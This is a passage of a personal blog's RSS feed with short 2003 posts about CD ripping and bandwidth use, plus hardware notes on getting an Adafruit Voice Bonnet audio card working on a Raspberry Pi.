&lt;p>Oh, and ripping is the ‘audio.cdbackup’ plugin. So far it has taken over 10mins to encode a 5 min track, so we’ll see what it’s like in a bit.&lt;/p></description></item><item><title>How high’s the water, momma?</title><link>https://juju.nz/michaelh/2003/11/how-highs-the-water-momma/</link><pubDate>Fri, 28 Nov 2003 21:30:15 +0000</pubDate><guid>https://juju.nz/michaelh/2003/11/how-highs-the-water-momma/</guid><description>&lt;p>463MB and rising…&lt;/p></description></item><item><title>Six feet high and rising…</title><link>https://juju.nz/michaelh/2003/11/six-feet-high-and-rising/</link><pubDate>Fri, 28 Nov 2003 00:24:44 +0000</pubDate><guid>https://juju.nz/michaelh/2003/11/six-feet-high-and-rising/</guid><description>&lt;p>Data transfer due to mfx is now at 416MB, up from 357MB 18 hours ago…&lt;/p></description></item><item><title>Blergh!</title><link>https://juju.nz/michaelh/2003/11/blergh/</link><pubDate>Thu, 27 Nov 2003 09:49:51 +0000</pubDate><guid>https://juju.nz/michaelh/2003/11/blergh/</guid><description>&lt;p>Eat kitty!&lt;/p></description></item><item><title/><link>https://juju.nz/michaelh/post/2024/tars/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/tars/</guid><description>&lt;p>Adafruit Voice Bonnet&lt;/p>
&lt;p>which is a fork of the SeeedStudio Voicecard.&lt;/p>
&lt;p>WM8960 codec uses I2S digital audio for great quality recording and playback&lt;/p>
&lt;p>Enable i2c and i2c in /boot/firmware/config&lt;/p>
&lt;p>Disable dtparam=audio=on (snd_bcm2835)&lt;/p>
&lt;p>sudo i2cdetect -y 1&lt;/p>
&lt;p>Possibly wm8960-soundcard.dtbo&lt;/p>
&lt;p>Build fails.&lt;/p>
&lt;p>git clone
&lt;a href="https://github.com/HinTak/seeed-voicecard" target="_blank" rel="noopener">https://github.com/HinTak/seeed-voicecard&lt;/a>&lt;/p>
&lt;p>Checkout v6.6 branch.&lt;/p>
&lt;p>
&lt;a href="https://github.com/rhasspy/wyoming-satellite.git" target="_blank" rel="noopener">https://github.com/rhasspy/wyoming-satellite.git&lt;/a>&lt;/p></description></item></channel></rss>